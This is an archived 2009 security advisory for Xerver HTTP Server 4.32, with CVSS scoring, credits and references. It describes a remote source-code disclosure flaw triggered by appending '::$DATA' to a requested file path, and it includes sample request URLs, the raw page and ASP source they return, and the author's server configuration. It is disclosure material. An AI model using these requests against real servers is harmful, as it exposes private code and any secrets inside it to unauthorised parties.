Xerver HTTP Server 4.32 Arbitrary Source Code Disclosure Vuln

2009.10.06
Credit: Dr_IDE
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-200


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

################################################################################# # # # Xerver HTTP Server v4.32 Remote Arbitrary Source Code Disclosure # # Found By: Dr_IDE # # Download: http://www.javascript.nu/xerver # # Tested On: Windows XPSP3 # # # ################################################################################# - Description - Xerver v4.32 is a Windows based HTTP server. This is the latest version of the application available. Xerver v4.32 is vulnerable to remote arbitrary source code disclosure by the following means. - Notes - 1. This is remote only. 2. Out of the box this server is completely unsecure and wide open, my configuration is attached below in case reproduction is an issue. - Technical Details - http://[ webserver IP]/[ file ][::$DATA] - Sample Case 1 - http://172.16.2.101/index.html::$DATA - Remote Browser Output - <html><head></head><body> This is my Web page </body></html> - Sample Case 2 - http://172.16.2.101/default.asp::$DATA - Remote Browser Output - <html> <body> <% response.write("My first ASP script!") %> </body> </html> - My Server Configuration- Filename: Xerver2.cfg ----------------------snip------------------------------------------------------------------------- 80 index.html,index.htm,index.shtml,default.html,default.asp,index.php,index.phtml,index.pl,index.cgi c:\INETPUB\ c:\INETPUB\ php=php,php3=php,php4=php,phtml=php,pl=perl,cgi=perl,exe=,bat= 0 0 0 2 1 XerverWebserver.log ----------------------snip-------------------------------------------------------------------------

References:

http://www.milw0rm.com/exploits/9649
http://secunia.com/advisories/36681
http://osvdb.org/58104


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